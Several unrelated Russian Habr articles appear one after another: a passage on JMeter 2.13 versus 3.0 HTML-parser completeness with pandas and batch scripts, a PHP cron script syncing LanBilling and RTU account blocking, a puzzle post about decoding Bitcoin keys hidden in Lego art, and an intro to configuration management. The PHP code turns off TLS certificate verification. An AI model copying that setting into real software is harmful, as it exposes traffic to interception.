* **CsvLogWriter** — кастомный логгер <https://github.com/pflb/Jmeter.Plugin.CsvLogWriter>, логирование в CSV-формат с логированием подзапросов, CSV-лог будет использоваться для программного подсчёта статистики по работе различных парсеров;
* выполняется только количественная оценка, адреса подзапросов посписочно не сравниваются.
Чтобы иметь возможность сгруппировать запросы по версиям **Apache.JMeter**, парсерам и сайтам, в лог будут записываться дополнительные переменные для каждого запроса:
* **siteKey** — тестируемый сайт;
* **jmeterVersion** — версия **Apache.JMeter**;
* **htmlParser** — название html-парсера, используемого в данный момент.
Результаты
==========
Оценка улучшения работы парсеров для версии 3.0 по сравнению с версией 2.13
---------------------------------------------------------------------------
Кардинальных улучшений полноты разбора html-страниц нет, есть ухудшения.
Существенное отличие — в парсерах для Apache.JMeter 3.0 есть рекурсивная загрузка страницы промо-материалов браузера Яндекс Браузер. Это проявляется при загрузке <https://yandex.ru/>.
### Сайты с малым количеством контента — хороший результат
На простых сайтах, таких как jmeter.apache.org, все парсеры работают одинаково. Создавая то же количество подзапросов, которое создаётся браузером. Качество работы парсеров для *jmeter.apache.org* — идеально, 100%.
### Сайты с большим количеством контента — плохой результат
Но на таком сайте как mos.ru, парсеры найдут в среднем 22 ссылки на встроенные ресурсы, тогда как полная загрузка страницы с загрузкой всех встроенных ресурсов браузером — 144 запроса. Качество низкое.
Аналогично на сайте *habrahabr.ru*, парсер **Lagardo** из **Apache.JMeter** 3.0 найдёт 55 ссылок, тогда как браузер сделает 117 подзапросов. Качество — 47,01%. Удовлетворительное качество полноты извлечения ссылок на встроенные ресурсы.
Количество подзапросов при использовании различных парсеров
-----------------------------------------------------------
Таблица на Google Docs: [JMeter.HtmlParser.Compare (верхняя таблица)](https://docs.google.com/spreadsheets/d/16l32BFuUdrJmexTgF155HMAGW7EBaBT-rRjuuLc524c/edit?usp=sharing).
[](https://habrastorage.org/files/e83/ca3/df8/e83ca3df89d44bbaa3b47f7e87a77938.PNG)
*Статистика работы Apache.JMeter в разрезе версий и html-парсеров и её сравнение с работой Google Chrome*
Описание столбцов:
* **Before Start Render** — количество подзапросов, сделанных браузером, до момента начала отображения содержимого страницы. Это html-разметка, основные js и css-файлы, основные изображения.
* **Document Complete** — количество подзапросов, сделанных браузером, на момент полной загрузки документа. Тут уже загрузились все ресурсы страницы.
* **Fully Loaded** — количество подзапросов, сделанных браузером, на момент когда отработал javascript, когда загрузилось всё.
Хорошим результатом работы парсеров будет, если подзапросов будет столько же, сколько браузер **Google Chrome** делает на момент **Document Complete**, а отличным — на момент **Fully Loaded**. Мерилом реалистичности работы **Apache.JMeter** при использовании конкретного парсера будем считать близость количества подзапросов к количеству подзапросов, выполняемых браузером на момент **Fully Loaded**.
Если исключить результаты тестирования сайта yandex.ru, где:
* парсинг уходит в рекурсию делая снова и снова запросы к yandex.ru пока глубина рекурсии не достигает максимального уровня и завершается ошибкой:
> `java.lang.Exception: Maximum frame/iframe nesting depth exceeded`.
И за мерило качества работы парсеров принять количество подзапросов на момент **Fully Loaded**, то получим такую таблицу среднего качества работы парсеров.
Среднее качество работы парсеров
--------------------------------
Таблица на Google Docs: [JMeter.HtmlParser.Compare (нижняя таблица)](https://docs.google.com/spreadsheets/d/16l32BFuUdrJmexTgF155HMAGW7EBaBT-rRjuuLc524c/edit?usp=sharing).
[](https://habrastorage.org/files/475/1fb/276/4751fb2762834a49a6cbbdba0917f74f.PNG)
*Среднее качество работы парсеров (для семи сайтов, без yandex.ru)*
Самый точный парсер **HTMLParser** в **Apache.JMeter** 2.13. В **Apache.JMeter** 3.0 парсеры **Jsoup** и **JTidy** показали одинаковое качество. Парсер **Lagarto** отстаёт от лидеров. Полнота парсинга для парсера **Lagarto** в **Apache.JMeter** 3.0 снизилась по сравнению с **Apache.JMeter** 2.13.
Качество работы парсера **Lagarto** на актуальной версии **Apache.JMeter** 3.0 составило 32,73%, лишь треть всех подзапросов была послана, две трети нагрузки на статику не было подано.
### Детальный анализ пропущенных ссылок при работе Apache.JMeter 3.0 сайта habrahabr.ru
Таблица на Google Docs: [Пропущенные дефолтным парсером Apache.JMeter 3.0 ссылки на habrahabr.ru](https://docs.google.com/spreadsheets/d/1FqgnkRm4gYrWUN9bBCEPvVo0mdi5lQl_a3mv1wY7tko/edit?usp=sharing)
*Пропущенные **Apache.JMeter** 3.0 ссылки при разборе **habrahabr.ru***
Пропущено много рекламных материалов и статистики. И это хорошо.
Выше уже оговаривался, что оценивать буду только количественные характеристики. По числам получается, что качество извлечения ссылок на встроенные ресурсы низкое. Детальный анализ может показать, что именно было пропущено. Может оказаться, что это реклама и контент со сторонних ресурсов, который необязательно грузить в рамках нагрузочного тестирования конкретного сайта.
Логи и их обработка
===================
Исходные данные
---------------
Все логи доступны по ссылке: [https://drive.google.com/drive/folders/0B5nKzHDZ1RIiVkN4dDlFWDR1ZGM](https://drive.google.com/drive/folders/0B5nKzHDZ1RIiVkN4dDlFWDR1ZGM "jmeter.htmlParser.compare.logs").
Отчёты WebPageTest.org
----------------------
| sytekey | webpagetest.org | Raw page data (.csv) | Raw object data (.csv) | HTTP Archive (.har) |
| --- | --- | --- | --- | --- |
| github.com | [160819\_VF\_FM8](https://www.webpagetest.org/result/160819_VF_FM8/) | [github.com.summary.csv](https://drive.google.com/open?id=0B5nKzHDZ1RIiblRnUzNUVFM3SUk) | [github.com.details.csv](https://drive.google.com/open?id=0B5nKzHDZ1RIieGFaaWFXTU9MWlE) | [github.com.har](https://drive.google.com/open?id=0B5nKzHDZ1RIidGNQRzJYUXprVzQ) |
| google.ru | [160819\_C9\_FQD](https://www.webpagetest.org/result/160819_C9_FQD/) | [google.ru.summary.csv](https://drive.google.com/open?id=0B5nKzHDZ1RIiczE1OVdCaUs5Mkk) | [google.ru.details.csv](https://drive.google.com/open?id=0B5nKzHDZ1RIiTUNjRk1mOHJIMEk) | [google.ru.har](https://drive.google.com/open?id=0B5nKzHDZ1RIiYm9EejNNdHBUWnM) |
| habrahabr.ru | [160819\_8N\_FRB](https://www.webpagetest.org/result/160819_8N_FRB/) | [habrahabr.ru.summary.csv](https://drive.google.com/open?id=0B5nKzHDZ1RIiM2FsMnVLLTMwb2M) | [habrahabr.ru.details.csv](https://drive.google.com/open?id=0B5nKzHDZ1RIiaFZjZ2paTlUzaUE) | [habrahabr.ru.har](https://drive.google.com/open?id=0B5nKzHDZ1RIiMG1wZkVub0NRUlU) |
| jmeter.apache.org | [160819\_CG\_FSM](https://www.webpagetest.org/result/160819_CG_FSM/) | [jmeter.apache.org.summary.csv](https://drive.google.com/open?id=0B5nKzHDZ1RIiVzlua0tlTnNXd28) | [jmeter.apache.org.details.csv](https://drive.google.com/open?id=0B5nKzHDZ1RIieGk0TjVvZlJVd1U) | [jmeter.apache.org.har](https://drive.google.com/open?id=0B5nKzHDZ1RIieWdLSGFOeEdZMEE) |
| linkedin.com | [160819\_K2\_FY1](https://www.webpagetest.org/result/160819_K2_FY1/) | [linkedin.com.summary.csv](https://drive.google.com/open?id=0B5nKzHDZ1RIiV19IMjhCUThhTVE) | [linkedin.com.details.csv](https://drive.google.com/open?id=0B5nKzHDZ1RIiUmdHcWxTc1hGcVk) | [linkedin.com.har](https://drive.google.com/open?id=0B5nKzHDZ1RIiWHVfRU1zNE84ODg) |
| mos.ru | [160819\_91\_G0F](https://www.webpagetest.org/result/160819_91_G0F/) | [mos.ru.summary.csv](https://drive.google.com/open?id=0B5nKzHDZ1RIibFJqU0hzX1IxbmM) | [mos.ru.details.csv](https://drive.google.com/open?id=0B5nKzHDZ1RIibzRGNWVXNVRoQW8) | [mos.ru.har](https://drive.google.com/open?id=0B5nKzHDZ1RIiSUczcXFSXzMzb0E) |
| stackoverflow.com | [160819\_S0\_G18](https://www.webpagetest.org/result/160819_S0_G18/) | [stackoverflow.com.summary.csv](https://drive.google.com/open?id=0B5nKzHDZ1RIidlFMbXRObkFyVzA) | [stackoverflow.com.details.csv](https://drive.google.com/open?id=0B5nKzHDZ1RIiYm0wSUV4YWZzWEk) | [stackoverflow.com.har](https://drive.google.com/open?id=0B5nKzHDZ1RIiWW1nck4tU0tvb2c) |
| yandex.ru | [160819\_MR\_G1R](https://www.webpagetest.org/result/160819_MR_G1R/) | [yandex.ru.summary.csv](https://drive.google.com/open?id=0B5nKzHDZ1RIiUW5PSXBWMlU4Skk) | [yandex.ru.details.csv](https://drive.google.com/open?id=0B5nKzHDZ1RIiWml6R3NNQ0J4bk0) | [yandex.ru.har](https://drive.google.com/open?id=0B5nKzHDZ1RIiQTNkaWFFN0NhOFU) |
**Изображения отчётов**
*Шапки отчётов webpagetest.org из которых извлекались данные **Document Complete** и **Fully Loaded***
Из значений колонок **Document Complete** и **Fully Loaded** нужно исклюить один запрос (корневой), чтобы получить количество подзапросов.
Логи Apache.JMeter
------------------
Для обработки используются csv-логи, сформированные плагином **CsvLogWriter**:
* проект: [https://github.com/pflb/Jmeter.Plugin.CsvLogWriter](https://github.com/pflb/Jmeter.Plugin.CsvLogWriter "Jmeter.Plugin.CsvLogWriter");
* описание на habrahabr.ru: [Плагин CsvLogWriter для JMeter](https://habrahabr.ru/post/308098/).
Сторонний плагин используется, чтобы в csv-лог попали запросы на embedded-ресурсы.
В результате работы CsvLogWriter формируется лог, в список колонок которого входят:
* ***timeStamp*** — момент времени;
* ***URL*** — адрес запроса;
* ***elapsed*** — длительность получения ответа на запрос;
* ***bytes*** — размер ответа;
* ***siteKey*** — используемый сайт;
* ***htmlParser*** — название используемого ;
* ***jmeterVersion*** — используемая версия Apache.JMeter;
* ***i*** — номер итерации тестирования.
Автоматизация обработки логов
-----------------------------
Аггрегация csv-логов **Apache.JMeter** выполняется при помощи **pandas** вот таким кодом на **python**:
```
import pandas as pd
import codecs
from os import listdir
import numpy as np
# Настройки - каталог с логами и настройки считывания логов.
dirPath = "D:/project/jmeter.htmlParser.3.0.vs.2.13/logs"
read_csv_param = dict( index_col=['timeStamp'],
low_memory=False,
sep = ";",
na_values=[' ','','null'])
# Получение списка csv-файлов в каталоге с логами.
files = filter(lambda a: '.csv' in a, listdir(dirPath))
# Чтение содержимого всех csv-файлов в DataFrame dfs.
csvfile = dirPath + "/" + files[0]
print(files[0])
dfs = pd.read_csv(csvfile,**read_csv_param)
for csvfile in files[1:]:
print(csvfile)
tempDfs = pd.read_csv(dirPath + "/" + csvfile, **read_csv_param)
dfs = dfs.append(tempDfs)
#dfs.to_excel(dirPath + "/total.xlsx")
# Убрать из выборки все JSR223, по ним статистику строить не надо, оставить только HTTP Request Sampler.
# У JSR223 URL пустой, у HTTP-запросов URL указан.
dfs = dfs[(pd.isnull(dfs.URL) == False)]
# Сводная таблица по количеству подзапросов, сохраняется в report.subrequests.html - основной результат работы.
# Из количества запросов удаляется один запрос, чтобы исключить корневой запрос.
# Цель данного исследования - подсчёт количества подзапросов, поэтому корневой исключается.
pd.pivot_table(dfs,
index=['siteKey', "jmeterVersion", "htmlParser"],
values="URL",
columns=["i"],
aggfunc=lambda url: url.count()-1).to_html(dirPath + "/report.subrequest.count.html")
```
Рекурсивная загрузка на yandex.ru
=================================
[](https://habrastorage.org/files/3b8/6f1/eae/3b86f1eae9fc4863bfd8b79ea2c3f71f.PNG)
*Рекурсивная загрузка встроенных ресурсов для актуальной версии Apache.JMeter 3.0 с настройками по умолчанию (html-парсер Lagarto) на сайте yandex.ru*
Как видно:
1. Apache.JMeter находит и переходит по ссылке `https://yandex.ru/clck/redir/dtype=stred....7004fcb3793e79bb1ac9e&keyno=12`
2. Затем находит новую уникальную ссылку `https://yandex.ru/clck/redir/dtype=stred....cd1c46cad58fbfe2f61&keyno=12`
3. И так далее, уходит в рекурсию.
В данном случае это картинка внутри ссылки на загрузку Яндекс Браузера:
[](https://habrastorage.org/files/713/0b7/b24/7130b7b24eef4ac98ce766fc03a8d859.PNG)
*Фрагмент html-кода сайта yandex.ru обработка которого добавляет новый шаг рекурсии, ссылки и картинка для скачивания Яндекс Браузера*
Картинку парсер находит. JMeter пробует её скачать, в ответ получает html-страницу, там снова ссылка на картинку и другие ссылки. И всё повторяется. Поведение **Apache.JMeter** корректное.
А в **Apache.JMeter** 2.13 рекурсия просходит только на парсере **HtmlParser**, догадки почему не происходит на других:
* есть ограничение на длину ссылок, и за счёт отсекания уникального окончания ссылки рекурсии не происходит;
* или в **Apache.JMeter** 2.13, что-то неправильно работает в парсерах;
* или в **Apache.JMeter** 2.13, что-то работает наоборот правильно — куки, ещё что-то и сам сервер Яндекса отвечает ему так, чтобы тот не уходил в рекурсию, например, отвечает картинкой на запрос картинки, а не новой html-страницей.
Гадать не буду. Кажется безвыходная ситуация. Но таких ситуаций не бывает. Всегда есть решение.
Например, можно попробовать в качестве **User-Agent** указать Яндекс Браузер. Тогда сервер, наверно, не покажет картинку для скачивания браузера, или на запрос картинки будет отвечать картинкой, и рекурсии не будет. Это догадка, не проверял её.
Сейчас в скрипте был указан **User-Agent** для Google Chrome для синхронности с работой webpagetest.org, и сервер видя не свой браузер, видимо, предлагает ссылку на свой.
Состав проекта
==============
* **jmeter.testfile.jmx** — тестовый скрипт для **Apache.JMeter 2.13** и **Apache.JMeter 3.0** принимающий на вход параметры:
+ `URL` — адрес тестируемого сайта, например, <https://yandex.ru/>;
+ `siteKey` — строка по которой будет осуществляться группировка записей в логах, например, yandex.ru;
+ `loopCount` — количество итераций теста, используется несколько итераций из-за того, что работа веб-сайтов может быть нестабильной;
+ `htmlParser.className` — парсер для извлечения ссылок на встроенные ресурсы;
+ для работы скрипта необходимо скачать и установить дополнительный плагин [CsvLogWriter](https://github.com/pflb/Jmeter.Plugin.CsvLogWriter/releases).
* **jmeter.3.0.bat** — командный файл запуска теста для **Apache.JMeter 3.0**, тут задаётся путь к папке `/bin/` **Apache.JMeter 3.0**, путь к тестовому скрипту **jmeter.testfile.jmx**, опции запуска теста, а также список htmlParser-ов проверка работы которых выполняется;
* **jmeter.2.13.bat** — командный файл запуска теста для **Apache.JMeter 2.13**, тут задаётся путь к папке `/bin/` **Apache.JMeter 2.13**, путь к тестовому скрипту **jmeter.testfile.jmx**, опции запуска теста, а также список htmlParser-ов проверка работы которых выполняется;
* **test.bat** — командный файл запуска теста на двух версиях **Apache.JMeter**, 2.13 и 3.0, файл содержит количество итераций тестирования и адреса тестируемых сайтов. Файл вызывает файлы **jmeter.2.13.bat** и **jmeter.3.0.bat**;
* **jmeter.3.0.vs.jmeter.2.13.ipynb** — блокнот для **jupyter** для анализа логов работы **Apache.JMeter**;
* **statistics.xlsx** — таблица со статистикой по работе парсеров, результат исследования.
Тест легко изменить под себя, указать свои сайты и нужное количество итераций. Все настройки задаются в файле **test.bat**.
```
CALL jmeter.2.13.bat http://stackoverflow.com/ 5 stackoverflow.com
CALL jmeter.2.13.bat https://habrahabr.ru/ 5 habrahabr.ru
CALL jmeter.2.13.bat https://yandex.ru/ 5 yandex.ru
CALL jmeter.2.13.bat https://www.mos.ru/ 5 mos.ru
CALL jmeter.2.13.bat http://jmeter.apache.org/ 5 jmeter.apache.org
CALL jmeter.2.13.bat https://www.google.ru/ 5 google.ru
CALL jmeter.2.13.bat https://www.linkedin.com/ 5 linkedin.com
CALL jmeter.2.13.bat https://github.com/ 5 github.com
CALL jmeter.3.0.bat http://stackoverflow.com/ 5 stackoverflow.com
CALL jmeter.3.0.bat https://habrahabr.ru/ 5 habrahabr.ru
CALL jmeter.3.0.bat https://yandex.ru/ 5 yandex.ru
CALL jmeter.3.0.bat https://www.mos.ru/ 5 mos.ru
CALL jmeter.3.0.bat http://jmeter.apache.org/ 5 jmeter.apache.org
CALL jmeter.3.0.bat https://www.google.ru/ 5 google.ru
CALL jmeter.3.0.bat https://www.linkedin.com/ 5 linkedin.com
CALL jmeter.3.0.bat https://github.com/ 5 github.com
```
Далее результаты можно вставлять с Excel-файл с настроенными формулами и получать наглядную таблицу результатов.
Можно попробовать доработать парсеры, и по похожей методике отслеживать улучшение качества разбора embedded-ресурсов.
Выводы
======
Особой практической ценности в статье нет. Но некоторые полезные выводы сделать можно:
* парсер в среднем извлекает ссылки только на треть ресурсов;
* парсеры работают почти одинаково, а значит можно применять любой;
* парсеры заточены под работу с простыми сайтами, такими как jmeter.apache.org;
* на сайтах с большим количеством содержимого парсеры работают значительно хуже реального браузера;
* полнота загрузки встроенных ресурсов в новой версии JMeter незначительно снизилась, а не возросла (на выбранных сайтах);
* продемонстрировано прикладное использование плагина **CsvLogWriter**, логирующего запросы к embedded-ресурсам в csv-лог, который сделала моя коллега Александра [Sanchez92](https://habrahabr.ru/users/sanchez92/);
* с помощью bat-файлов, передачи парамеров **JMeter** через командную строку, логирования переменных и обработки csv-логов с помощью **pandas** можно тестировать сам инструмент тестирования, методика отработана, см. проект на github:
+ <https://github.com/pflb/jmeter.htmlParser.3.0.vs.2.13>. | https://habr.com/ru/post/308254/ | null | ru | null |
# Синхронизация статуса учетной записи LanBilling и RTU class 4&5
Добрый день, уважаемые хабропользователи.
Возникла задача по синхронизация статуса учетной записи в LanBilling и RTU.
Хочу поделиться с Вами вариантом реализации.
#### Использовалось
Lanbilling v.1.8
RTU class 4&5
php 5.3
mysql 5.0.51a-24+lenny5
cron
#### Реализация
Данные о статусе учетных записей LanBilling хранятся в таблице vgroups.
Поля таблицы:
**blocked** — статус блокировки (0 — разблокировано, > 0 — заблокировано)
**blk\_req** — статус запроса на блокировку (!=0 и !=blocked — заблокировать, !=0 и =blocked — разблокировать)
В задачи cron добавляем выполнение php скрипта с заданым интервалом, который будет получать статус поля
**blk\_req** из бд LanBilling, отсылать soap команду одному из стандартных скриптов RTU (set.aspx или get.aspx) и, в случае ответа true, менять значения полей **blocked** и **blk\_req**
###### Функция для отправки soap запроса
```
function xmlHttpsReq($xml,$type){
$ch = curl_init('https://IP_сервера:порт/mobile_request/'.$type.'.aspx?admin');
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_POST,1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $xml);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
$data=curl_exec($ch);
$result=substr($data,0,strpos($data,'')+7);
if( curl_errno($ch) != 0 ) {
die('CURL_error: ' . curl_errno($ch) . ', ' . curl_error($ch));
};
curl_close($ch);
return $result;
}
```
###### Функция для получения данных о всех пользователях
```
function getUserList()
{
$data=xmlHttpsReq('','get');
$xml = new SimpleXMLElement($data);
foreach ($xml->command->user as $user)
{
$usr[]=$user;
}
return $usr;
}
```
###### Функция для получения данных о пользователе по логину
```
function getUser($ID)
{
$data=xmlHttpsReq(''.$ID.'','get');
$xml = new SimpleXMLElement($data);
return $xml->command->user;
}
```
###### Функция для установки параметров учетной записи
```
function setUser($arr)
{
$converter = new Array2XML();
$obj = $converter->convert($arr);
$data=xmlHttpsReq(''.$obj.'','set');
$xml = new SimpleXMLElement($data);
return $xml->command->item->result;
}
```
###### Класс для конвертирования массива в xml
```
class Array2XML {
private $writer;
private $rootName = 'item';
function __construct() {
$this->writer = new XMLWriter();
}
public function convert($data) {
$this->writer->openMemory();
$this->writer->startElement($this->rootName);
if (is_array($data)) {
$this->getXML($data);
}
$this->writer->endElement();
return $this->writer->outputMemory();
}
public function setVersion($version) {
$this->version = $version;
}
public function setEncoding($encoding) {
$this->encoding = $encoding;
}
public function setRootName($rootName) {
$this->rootName = $rootName;
}
private function getXML($data) {
foreach ($data as $key => $val) {
if (is_numeric($key)) {
$key = 'key'.$key;
}
if (is_array($val)) {
$this->writer->startElement($key);
$this->getXML($val);
$this->writer->endElement();
}
else {
$this->writer->writeElement($key, $val);
}
}
}
}
```
Для изменения параметров учетной записи нам необходимо знать логин и GUID.
В текущей реализации API RTU не позволяет получить GUID учетной записи по логину(функция **getUser**), поэтому для получения GUID используется функция **getUserList**
###### Реализация
```
mysql_connect(HOST,USERNAME,PASSWORD);
mysql_select_db(DBNAME);
// получаем данные о всех пользователях RTU
$allusers = getUserList();
//получаем список учетных записей LanBilling на изменение
$res = mysql_query("SELECT
CASE
WHEN blk_req != 0 AND blk_req = blocked THEN 'true'
WHEN blk_req != 0 AND blocked = 0 THEN 'false'
ELSE 'none'
END AS blk,
login
FROM vgroups WHERE blk_req != 0");
while ($row=mysql_fetch_array($res))
{
unset($user);
foreach($allusers as $allusr)
{
if($allusr->id==$row['login'])
{
$user=$allusr;
break;
}
}
if (($user)&&($row['blk']!='none'))
{
if(setUser(array('id'=>$user->id,'guid'=>$user->guid,'enabled'=>$row['blk']))=='true')
$ids[] = $row['vg_id']; // если учетка заблокирована на RTU добавляем ее в список для блокировки в LanBilling
} else $ids[] = $row['vg_id'];
}
// блокируем учетки
if (count(@$ids)>0)
{
$sql = 'UPDATE vgroups
SET blocked = IF(blk_req = blocked, 0, blk_req), blk_req = 0, blk_req_user = ""
WHERE vg_id IN (' . implode(',', $ids) . ')';
mysql_query($sql);
}
```
Комментарии приветствуются. | https://habr.com/ru/post/126412/ | null | ru | null |
# Художник зашифровал ключи от криптокошельков в Lego-инсталляциях, а мы попробуем их оттуда достать
Привет, Хабр! Предлагаю всем желающим немного размять мозги небольшим крипто-ребусом.
Оговорюсь сразу, сам я загадку до конца не решил, однако ход решения вроде бы ясен поэтому мне хотелось бы посмотреть, как будет решать сообщество.
*Заранее извиняюсь за стиль изложения, но в четыре утра всё же буду предельно краток рассказывая коротоко и по сути. Кому интересны подробности — все ссылки приведены в конце заметки.*
Итак, началось всё с того, что некий художник Энди Баух в 2016-м году прикупил некоторое количество криптовалюты на несколько кошельков. А потом он взял приватные ключи от этих кошельков и каким-то, одному ему известным образом, зашифровал эти ключи в красивых картинках. Таких как под заголовком, например.
Затем Энди сложил эти картинки из блоков Lego и буквально в прошлую пятницу (23.03.2018) выставил всё это дело в арт-галерее la’s Castelli Art Space (ссылки в конце).
Во всё это, как обычно принято у художников, вложен некий глубокий смысл, касательно стоимости искусства и т.д. и т.п. Но мы тут не философствовать собрались, а загадки решать, поэтому перейду сразу к сути.
Я рандомно выбрал для ковыряния картинку от кошелька «INITIALLY VALUED AT $80». Положенные в 2016 году на кошелёк 0.1875 BTC сегодня чудесным образом превратились в 1600$, что, очевидно, должно несколько ускорить расшифровку. Картинка вот:
Итак. Поехали.
Я постеризовал изображение, чтоб было меньше шума и чуть подкрутил контраст с яркостью. Поковырявшись в фотошопе я понял, что картинка эта состоит из простейших блоков 15\*6. Вот таких:
Однако, есть ещё три блока, каждый из которых отличается от основного всего на один квадрат. Вот все четыре блока:
Тут используются блоки восьми цветов, что позволяет предположить, что каждый цвет кодирует три бита.
Приватный ключ Bitcoin-кошелька представляет собой строку, насколько я понял, в формате Base58. Что-то в духе такого:
`L4QhpdfFzv1DHfoRcbG2T76Z4QN9zmhWhBNEsH22PbKHA4ZNkS`
Длина ключа может быть различной, поэтому тут нам, увы, дополнительной информации получить не удастся.
На этом этапе я додумался посмотреть на этот кошелёк в блокчейн и выяснил, что вчера какой-то умник, вероятно, код уже взломал и денег там больше нет =(
Предлагаю вам завершить разгадку, либо поправить меня, если я ошибся в первых шагах. Осталось подобрать цветовое кодирование и это, собственно, самое интересное во всём этом ребусе. Полагаю, что после получения числа, нужно выполнить преобразование Число -> Base58.
Возможно три отличающихся блока дают какую-то подсказку, но может быть и так, что автор просто ошибся при сборке.
В любом случае, подозреваю, что денег на всех кошельках уже нет, так что все дальнейшие манипуляции just for fun.
Upd от [SopaXT](https://habrahabr.ru/users/sopaxt/):
> Те, что за $20 и $30 решил я. В первой используют двоичные цифры, а во второй — троичные, и т.д.
>
>
>
> Там был т.н. «mini private key», строка из 30 ASCII-символов, где сам ключ — это ее SHA256. Кстати, если добавить в конец "?", то хеш будет начинаться с нулевого байта (такая хитрая проверка на ошибки).
>
>
>
> Там можно было заметить повторяющуюся последовательность (длиной в 210 ячеек в двоичной и 150 в троичной и четверичной системе).
>
>
>
> Каждые 7/5 (соотв.) ячеек — один байт, а таких байт там 30. В двоичной использовалась семибитная ASCII, как предположил кто-то в IRC, я с ним за это поделился :).
>
>
>
> В четверичной первая цифра в группе нулевая (эту решил не я, а \_jstanley).
>
>
>
> P.S. Цифры с цветами пришлось сопоставлять перебором.
[Ссылка на комментарий.](https://habrahabr.ru/post/351950/#comment_10724248)
**Дополнительная информация:**
[Пресс-релиз выставки](https://www.artsy.net/show/hijinx-new-money)
[Ссылки на кошельки](https://newmoney.andybauch.com/) | https://habr.com/ru/post/351950/ | null | ru | null |
# Конфигурационный менеджмент (часть1, вступительная)
Как разрабатывать большое ПО? Ни для кого не секрет, что потребность в разработке больших и сложных программных продуктов была всегда и также всегда была независимой от уровня технологий, существующих на тот или иной момент времени. Но исследуя и анализируя существующие подходы к девелопменту, я так и не смог ответить на самые простые вопросы, связанные с «правильной» разработкой качественных программ. Одним из простейших вопросов, который я перед собой ставил, был вопрос о том, как назначать номера версий выпускаемому программному продукту. Наверняка многие согласятся, что это касается не только больших корпоративных приложений, но и самых простых приложений, которые выходят из под пера начинающих программистов, школьников и студентов. Смысл назначения версий возникает тогда, когда программа перестает быть экспериментом и начинает делать что-то полезное. Но стоит заметить, что даже экспериментальным версиям программ есть смысл назначать уникальный идентификатор. Изменение номеров версий отображает последовательный подход к разработке и, с одной стороны, представляет собой соответствие выдвигаемым к разрабатываемой программе требованиям, а с другой стороны – связь с предыдущими версиями в виде общей базовой функциональности или базы исходного кода (source codebase). Мы уже не задаем вопрос о том, как разрабатывать большое ПО, а пытаемся представить себе то, как назначать версии своим программам. Да, но какая между этими вопросами связь? На самом деле очень большая.
Перед началом разработки какого либо программного проекта должно быть решено довольно много вопросов: где взять финансирование, сколько людей будет работать над проектом, какие установить сроки, какие есть риски и много-много других. Но это с менеджерской позиции. С позиции программиста решаются вопросы другого рода: проектирование архитектуры, базы данных, рисование UML-диаграмм и прочее. Но это в теории – потратить день, чтобы за 5 минут долететь. Если считать все вышеуказанные шаги этапом «0» в разработке проекта, то на практике программный проект начинается с этапа номер «1» – с разработки. Пусть это не совсем правильно, но что делать тогда, когда ни на один из вопросов, которые ставятся перед началом разработки ответить с большой степенью вероятности нельзя? Даже если такие ответы есть, в том или ином виде любой программный продукт претерпевает эволюционные изменения — требования имеют тенденцию меняться. Таким образом, любой программный проект подвергается трудно формализуемым влияниям, которые своим результатом имеют разные версии продукта, от этого никуда не деться.
Гибкие методологии (agile methodologies) известны тем, что пытаются организационными мерами решить подобного рода проблемы, и это, надо сказать получается довольно успешно. Но это организационный уровень. Программистский уровень предполагает немного другие задачи и проблемы. Нельзя сказать, что они не решаются совсем, но недостаток таких решений, на мой взгляд, заключается в том, что всеми они решаются по-разному. Даже одними и теми же людьми, но для разных проектов одни и те же задачи решаются по-разному. Для того, чтобы понять что я имею в виду и для того, чтобы выделить суть подходов к гибкой разработке с точки зрения программиста я перечислю подходы, которые обычно используются:
1. Контроль версий (version control)
2. Автоматизированные сборки (build management)
3. Юнит-тестирование (unit-testing)
4. Статический анализ кода (static source code analysis)
5. Генерация документации на основе исходного кода (javaDoc, phpDoc, Doxygen итп)
6. Непрерывная интеграция (continuous integration)
Обычно разработка не обходится без использования какой-нибудь системы контроля версий. Все остальные подходы могут применяться или не применяться в отдельных проектах. Это уже зависит от специфики разрабатываемой системы, многих других факторов, главными из которых, на мой взгляд, являются возможность управления всеми подходами, наличие необходимых для этого навыков и ресурсов, а также необходимость обеспечения качества разрабатываемой системы.
Как оказалось, существует отдельная дисциплина инженерии программного обеспечения, которая занимается подобного рода организационными задачами без привязки к методологиям – это конфигурационный менеджмент (configuration management). Управление конфигурациями является основной дисциплиной в определении того, каким образом управляются и контролируются рабочие материалы программного проекта, внесенные в него изменения, а также информация про состояние отдельных задач и всего проекта в целом. Успех проекта в большой мере зависит от того, насколько налажен процесс управления конфигурациями и это может как спасти проект, так и похоронить его в том случае, если управление конфигурациями работает плохо.
Глоссарий IEEE 610 описывает управление конфигурациями как дисциплину применения технических и административных указаний (инструкций) и контроля (наблюдения) для: идентификации и документирования функциональных и физических характеристик элементов конфигураций; контроля (управления) над изменениями этих характеристик; записи (сохранения) и ведения отчетности по обработке изменений и статуса их реализации; проверки (верификации) соответствия выдвинутым требованиям.
Но это уж очень формальное определение. Чтобы дать вам представить, что же это всё означает, просто перечислю программные продукты и инструменты, с которыми программисту приходится сталкиваться по долгу службы каждый день:
* Subversion; CVS; Git; Mercurial; Bazaar; Microsoft Visual SourceSafe; ClearCase; Perforce
* Ant; Nant; Maven; Phing; make; nmake; Cmake; MSBuild; Rake
* JUnit; NUnit; CPPUnit; DUnit; PHPUnit; PyUnit; Test::Unit; vbUnit; JsUnit
* PMD; FxCop; PHP\_CodeSniffer; PyChecker, lint
* JavaDoc; phpDocumentor; CppDoc; RDoc; PyDoc; NDoc; Doxygen
* CruiseControl; CruiseControl.NET; TeamCity; xinc; Atlassian Bamboo; Hudson
* Jira, Trac, Mantis, Bugzilla, TrackStudio
Так сложилось, что я увлекся данным вопросом настолько, что даже написал целую дипломную работу, в которой исследовал методы и средства управления конфигурациями. Также получилось разработать метод, который позволяет объединить все используемые средства (если точнее, то их подмножество) конфигурационного менеджмента в одну платформу. Если сообществу покажется интересным, то я планирую написать цикл статей, в котором планирую изложить то, как я пришел к формализованному методу управления версиями и попробовать передать хотя бы частично его суть. Думаю, это будет полезно по двум причинам:
1. Я немного расскажу об упомянутых средствах и инструментах так сказать «с высоты птичьего полета» в разрезе управления конфигурациями, попробую привести описание их места в общей мозаике средств разработки.
2. Покажу наконец, какими принципами нужно руководствоваться при назначении релизам программных продуктов номеров версий, попытаюсь сделать этот вопрос более прозрачным, чем он есть (подозреваю для многих) сейчас.
